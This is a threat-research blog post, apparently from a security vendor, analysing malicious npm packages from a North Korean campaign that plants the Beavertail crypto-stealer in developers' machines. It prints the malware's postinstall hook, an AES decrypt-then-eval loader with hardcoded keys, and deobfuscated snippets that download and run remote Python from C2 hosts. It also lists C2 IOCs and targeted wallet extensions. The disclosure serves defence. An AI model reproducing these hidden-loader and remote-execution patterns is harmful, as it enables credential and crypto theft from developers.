Veracode Threat Research continues to track a persistent North Korean crypto stealing campaign we last reported on in June 2024. Our continuous monitoring systems recently flagged four suspicious packages but our investigation uncovered and we subsequently blocked a total of twelve malicious packages. We observed encrypted and un-encrypted payloads with different encodings, but always obfuscated and with different obfuscation strategies. We also observed C2 infrastructure and key re-use.
The Journey into the North Korean Crypto Stealing Campaign Begins
Our continuous monitoring systems recently flagged four suspicious packages cloud-binary
, json-cookie-csv
, cloudmedia
and nodemailer-enhancer
, which upon investigation we identified to appear to be similar in nature. In addition to the continued use of port 1224, the reuse of C2 infrastructure and encryption keys as well as code similarities; we were able draw a connection between these packages to the same attacker or possibly two attackers (more on that later). For example we observed this snippet of common code in all four packages. It is suspected this could be version 3 of the malware since we reported on February 2024 on the presence of ~/.n2
:
if (!testPath(getAbsolutePath('~/') + "/.n3")) {
fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
}
This malware campaign targets developers to trick them into installing malware during an interview exercise. This is in an apparent attempt to continue to fund the sanctioned country with stolen crypto currency and to steal from the developer’s computer any secrets that could be potentially used for initial access to corporate networks. An example of this is with the bingo-logger
package which executed the malware when unit tests were run. Running unit tests would be expected during a live-coding interview in which developers would be expected to demonstrate Test-Driven-Development (TDD) skills.
Peeking Inside cloud-binary
This package was the first we reviewed during this investigation and we found has a lot of features. It is a typosquat on the cloudinary NPM package. Here is what it looked like on NPM before the package was removed – the content of which was very similar to the package it was cloned from:

We looked at cloud-binary
version 2.7.0 and observed a postinstall
hook to run a malicious JavaScript file upon installation. This can be seen in package.json
:
"postinstall": "node lib/utils/analytics/index.js",
The file lib/utils/analytics/index.js
spawned a detached process to run lib/utils/analytics/node_modules/file15.js
in the background. The malware was intentionally placed within a seemingly uninteresting node_modules
folder – a folder that developers would be unlikely to manually review. Below are the contents of file15.js
.
const fs = require('fs');
const path = require('path');
const parseLib = require('../parse')
const filePath = path.join(__dirname, 'test.list');
fs.readFile(filePath, 'utf8', (_, data) => {
eval(Buffer.from(parseLib(data)).toString('utf8'));
})
On closer inspection parseLib
turns out to be a simple AES-256 decryption routine in lib/utils/analytics/parse.js
to unscramble the payload stored in lib/utils/analytics/node_modules/test.list
. Here is the decryption logic within parse.js
, note that the decrypted value was immediately executed by the eval
call from file15.js
:
const crypto = require('crypto')
module.exports = function getCallers(encryptedHex) {
const key = Buffer.from('0123456789abcdef0123456789abcdef', 'utf8'); // 32 bytes for AES-256
const iv = Buffer.from('abcdef9876543210', 'utf8'); // 16 bytes for CBC mode
const algorithm = 'aes-256-cbc';
const decipher = crypto.createDecipheriv(algorithm, key, iv);
const decrypted = Buffer.concat([
decipher.update(Buffer.from(encryptedHex, 'hex')),
decipher.final()
]);
return decrypted.toString('utf8');
}
The decrypted payload appeared to obfuscated JavaScript as shown in the screenshot of a snippet below:

We were able to de-obfuscate the payload and noticed it appears to be variant of the Beavertail malware we have previously reported on. It has also been documented by Unit42 here who gave the malware it’s name. Of the variants we evaluated during this investigation, cloud-binary
was the most feature packed. It supported macOS, Windows and Linux hosts and featured the following core capabilities:
- Enumeration and exfiltration of system information – OS, platform, username
- Search for crypto wallets and browser extensions and try to exfiltrate them
- Search for and exfiltrate Word documents, PDF files, screenshots, secret files, files containing environment variables, and other sensitive files such as the logged in user’s Keychain (macOS password database).
- Attempted to download a second-stage payload for persistence via curl
curl -Lo "p.zi" "hxxp://144.172.105[.]235:1224/pdown"
- Execute arbitrary Python scripts from the C2 server
- A WebSocket to receive and execute arbitrary shell commands
- Sandbox/VM execution evasion
The arbitrary Python script execution feature looked like this for execution on Windows hosts:
const _0x39065a = homeDir + '/.npl';
const _0xdf7c59 = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x39065a + "\"";
try {
fs.rmSync(_0x39065a);
} catch (_0x255abc) {}
request.get("hxxp://144.172.105[.]235:1224/client/5346/324", (_0x1ac422, _0x33c0f3, _0x4ccd8b) => {
if (!_0x1ac422) {
try {
fs.writeFileSync(_0x39065a, _0x4ccd8b);
ex(_0xdf7c59, (_0x43f3d0, _0x57385f, _0x20fedc) => {});
} catch (_0x2c7ee8) {}
}
});
The malware also works on macOS and Linux:
request.get("hxxp://144.172.105[.]235:1224/client/5346/324", (_0x2da6d6, _0x4b7c93, _0x1c8833) => {
if (!_0x2da6d6) {
fs.writeFileSync(homeDir + "/.npl", _0x1c8833);
ex("python3 \"" + homeDir + "/.npl\"", (_0x91c92b, _0x23d62f, _0x102263) => {});
}
});
At the time of this report the C2 server appeared to be operating on a compromised Windows Server host in a US data center. The C2 server did not respond to our requests, likely due to a pause in the campaign, so we were unfortunately unable to download pdown
for further analysis.
Unboxing json-cookie-csv
In json-cookie-csv
version 1.0.1 we observed an obfuscated file json-cookie-jar.js
which was similar to what we noticed in cloud-binary
, only this package did not go through as effort to hide this malware. The pdown
binary was observed to be requested from a different host again via curl, and the Python script was requested from hxxp://144.172.109[.]98:1224/client/9/905
. The client identifier was observed to be different, perhaps for tracking campaign success. There was also a backup C2 host hxxp://45.61.150[.]67:1224
in play.
Version 1.0.0 of this malicious package featured a different IP though the client identifier was the same. It also included this additional HTTP call via the popular axios
dependency which appeared to have been bolted on:
axios.get("hxxps://api.npoint[.]io/e5a5e32cdf9bfe7d2386").then(_0x50a11d => {
moduleName = _0x50a11d.data.name;
f = _0x50a11d.data.team9;
}).then(() => {
main();
Xt();
That endpoint returned the following JSON which appeared to include further obfuscated malicious JavaScript as well as what appears to be a campaign active/inactive flag used to determine whether to also upload the exfiltrated material to the backup C2 server which we observed in many instances:
{
"lol":"lmao, even",
"bruh":"hello other people, this is a very good example of how 'lazarus' or whatever you wanna call it, is completely stupid. They really thought no one would edit this s*** lmao",
"name":"...\\\\.dsa\\d.as.dsa.\\d.\\sa.\\ds.\\a.dsa.\\d.s\\af\\ad.fg.\\qe.\\r.\\.\\4.1.43.\\14.\\3.\\4.3\\1.\\43.\\1431$!#?4514;31';55'13l5;'1'45k'l1@#!$$%!#%!#%#!%!#$%$##@^%#%$^%#",
"team1":0,
"team2":1,
"team3":1,
"team4":1,
"team5":1,
"team6":1,
"team7":1,
"team8":1,
"team9":1,
"team10":1,
"team11":0,
"northkoreans":"r*******"
}
Given the above JSON response and that this appears to be bolted in, we get the impression there could be another attacker operating in this space.
These variants did not appear to feature the WebSocket capability as seen in cloud-binary
.
cloudmedia – A Clone Of cloud-binary
As with cloud-binary
we observed lib/utils/analytics/parse.js
, lib/utils/analytics/node_modules/test.list
and lib/utils/analytics/node_modules/file15.js
files. The encryption material was the same as was the encrypted payload.
Something Fishing About nodemailer-enhancer
What stood out about version 1.0.7 of this package was the license file (lib/utils/smtp-connection/LICENSE
):
cc5e756e199eb6cde031ad4d4e2dd1faadba0849b25a80a18ab730d1137e63ed108d605e112e098d989a621859a11d73de67a1252f4b5066986a87d6d6f36b3f97687073a8e2f1447125c028f355faa7
That is a most unusual license indeed. The second interesting thing that caught our eyes was a file named LICENSE(old)
in the same folder. This had a lot more hex data in it (340kB) than the other file. Could it be that the LICENSE
file contains the decryption key?
Also observed in this folder was error-data.txt
. This file contained obfuscated JavaScript code. This file was yet another variant of the Beavertail malware. This time, as expected we had a different IP address and client identifier: hxxp://45.61.128[.]61:1224/client/5346/1118.
As per json-cookie-csv
this variant also lacked the WebSocket capability.
What about that LICENSE
file? indeed let’s take a closer look at that. Firstly the parseLib
implementation is very similar, only this time with a higher entropy key and IV:
const crypto = require('crypto')
module.exports = function getCallers (encryptedHex) {
const key = Buffer.from('1c7631aca0c00365e8a7e68dd11045e1d4475c909885d8dccd881f4dce9d0566', 'hex'); // 32 bytes for AES-256
const iv = Buffer.from('cf17723e776e880802357825a8a139d6', 'hex'); // 16 bytes for CBC mode
const algorithm = 'aes-256-cbc';
const decipher = crypto.createDecipheriv(algorithm, key, iv);
const decrypted = Buffer.concat([
decipher.update(Buffer.from(encryptedHex, 'hex')),
decipher.final()
]);
return decrypted.toString('utf8');
}
The decrypted output was the following hex:
EF BF BD EF BF BD 3A 2E EF BF BD
Clearly this was the output from decrypting the small LICENSE
file we discussed earlier. It appears this malware is under development. We modified the code to decrypt LICENSE(old)
with the same material and saw yet another copy of obfuscated Beavertail, this time we observed: hxxp://144.172.105[.]235:1224/pdown
– the same C2 we saw in cloud-binary
, including the same C2 WebSocket: hxxp://135.181.123[.]177/api/service/makelog
.
This package was found to contain two Beavertail configurations.
Hunting for Other Packages
We notified NPM of the four malicious packages and they have since been removed from the ecosystem. Not content with calling it a day just yet we decided to look for signatures in other packages. We found in total eight packages containing encrypted and obfuscated variants of Beavertail (in the left column) and eight packages containing obfuscated but not-encrypted variants of Beavertail:
- cloud-binary
- cloudmedia
- nodemailer-enhancer
- rc-logger
- preset-log
- gad-logger
- succgdess
- bingo-logger
- json-cookie-csv
- react-international-phone-js
- react-smooth-plugin
- react-smoothy-plugin
- phone-mockup-react-js
- react-router-scroll-navar
- react-is-router
- json-cookie-jar
During this review we noted that with exception of succgdess
and bingo-logger
packages, Veracode had already identified and blocked the malicious packages with our Package Firewall technology, as part of our constant review of every published package.
NPM had already removed some of the packages, but we have since informed them of the others, all of which we are blocking for our customers today. None of these packages are currently available to download from NPM.
We will continue to monitor and secure our customers against the persistent threat of this North Korean crypto stealing campaign.
Package Capabilities
Package | Versions | Encryption Key | Variant | Notes |
---|---|---|---|---|
cloud-binary | 2.7.0 – 2.7.1 | K1 | A | |
cloudmedia | 2.7.2 – 2.7.3 | K1 | A | |
nodemailer-enhancer | 1.0.7 | K2 | B | |
rc-logger | 3.4.1 | K2 | C | |
rc-logger | 3.4.2 – 3.4.4 | K2 | D | |
preset-log | 7.11.8 | K2 | C | |
gad-logger | 7.11.7 | K3 (it had K2 in the decryption logic but that was not the correct key for this variant) | C | The encrypted payload was different, but when decrypted was identical to C |
gad-logger | 7.11.8 | K2 | C | |
succgdess | 7.11.7 | K3 (it had K2 in the decryption logic but that was not the correct key for this variant) | C | Package removed from NPM by author. The encrypted payload was different, but when decrypted was identical to C |
bingo-logger | 7.11.0 | None | None | |
bingo-logger | 7.11.2 | None in code (K2 derived from 7.11.6) | F | |
bingo-logger | 7.11.6 | K2 | F | |
bingo-logger | 7.12.3 | None in code (K3 derived from 7.12.4) | G | |
bingo-logger | 7.12.4 | K3 | G | |
bingo-logger | 7.12.7 | K3 | G | The encrypted payload was different, but when decrypted was identical to G |
json-cookie-csv | 1.0.0 | N/A | I | |
json-cookie-csv | 1.0.1 | N/A | E | |
json-cookie-csv | 1.0.2 | N/A | J | |
react-international-phone-js | 1.0.1 | N/A | E | |
react-international-phone-js | 1.0.2 | N/A | K | |
react-international-phone-js | 1.0.3 | N/A | L | |
react-international-phone-js | 1.0.4 | N/A | M | |
react-smooth-plugin | 1.2.1 | N/A | I | Note “smooth” not “smoothy” |
react-smoothy-plugin | 1.2.1 | N/A | I | |
react-smoothy-plugin | 1.2.2 – 1.2.4 | N/A | E | |
phone-mockup-react-js | 1.0.0 | N/A | I | |
phone-mockup-react-js | 1.0.1 – 1.0.2 | N/A | E | |
react-router-scroll-navar | 1.0.1 | N/A | E | |
react-is-router | 1.0.0 | N/A | E | Package removed from NPM by author |
json-cookie-jar | 1.0.0 | N/A | I |
Variants
Variant | Notes |
---|---|
A | C2 #1, C2 WebSocket #1, Secrets stealing functionality |
B | C2 #1, C2 WebSocket #1, Secrets stealing functionality |
C | C2 #1, C2 WebSocket #1, Secrets stealing functionality |
D | C2 #2, C2 axios request |
E | C2 #4, C2 backup, C2 axios request |
F | C2 #1, C2 WebSocket #1, Secrets stealing functionality |
G | C2 #2, C2 axios request |
I | C2 #3 |
J | This variant made use of a different obfuscation strategy which we did not explore. |
K | C2 #5, C2 backup, C2 axios request |
L | C2 #5, C2 backup, C2 WebSocket #2, C2 axios request |
M | C2 #6, C2 backup, C2 WebSocket #2, C2 axios request |
Indicators of Compromise (IOCs)
- hxxp://144.172.105[.]235:1224 – C2 #1
- hxxp://45.61.128[.]61:1224 – C2 #2
- hxxp://144.172.106[.]7:1224 – C2 #3
- hxxp://144.172.109[.]98:1224 – C2 #4
- hxxp://144.172.104[.]10:1224 – C2 #5
- hxxp://45.61.165[.]45:1224 – C2 #6
- hxxp://45.61.150[.]67:1224 – C2 backup
- hxxp://135.181.123[.]177 – C2 WebSocket #1
- hxxp://95.216.46[.]218 – C2 WebSocket #2
- hxxps://api.npoint[.]io/e5a5e32cdf9bfe7d2386 – C2 axios request
- SHA256 hash of the decrypted
cloud-binary
andcloudmedia
payload: f11e5d193372b6986b7333c0367ed2311f7352b94b079220523384a3298f5e87
Browser Extension IDs
- nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask for Chrome)
- ejbalbakoplchlghecdalmeeeajnimhm (MetaMask for Edge)
- fhbohimaelbohpjbbldcngcnapndodjp (BEW lite for Chrome)
- ibnejdfjmmkpcnlpebklmnkoeoihofec
- bfnaelmomeimhlpmgjnjophhpkkoljpa (Phantom for Chrome)
- aeachknmefphepccionboohckonoeemg
- hifafgmccdpekplomjjkcfgodnhcellj
- jblndlipeogpafnldhgmapagcccfchpi
- acmacodkjbdgmoleebolmdjonilkdbch
- dlcobpjiigpikoobohmabehhmhfoodbb
- mcohilncbfahbmgdjkbpemcciiolgcge
- agoakfejjabomempkjlepdflaleeobhb
- omaabbefbmiijedngplfjmnooppbclkk
- aholpfdialjgjfhomihkjbmgjidlcdno
- nphplpgoakhhjchkkhmiggakijnkhfnd
- penjlddjkjgpnkllboccdgccekpkcbin
- lgmpcpglpngdoalbgeoldeajfclnhafa
- fldfpgipfncgndfolcbkdeeknbbbnhcc
- bhhhlbepdkbapadjdnnojkbgioiodbic
- aeachknmefphepccionboohckonoeemg
- gjnckgkfmgmibbkoficdidcljeaaaheg
- afbcbjpbpfadlkmhmclhkeeodmamcflc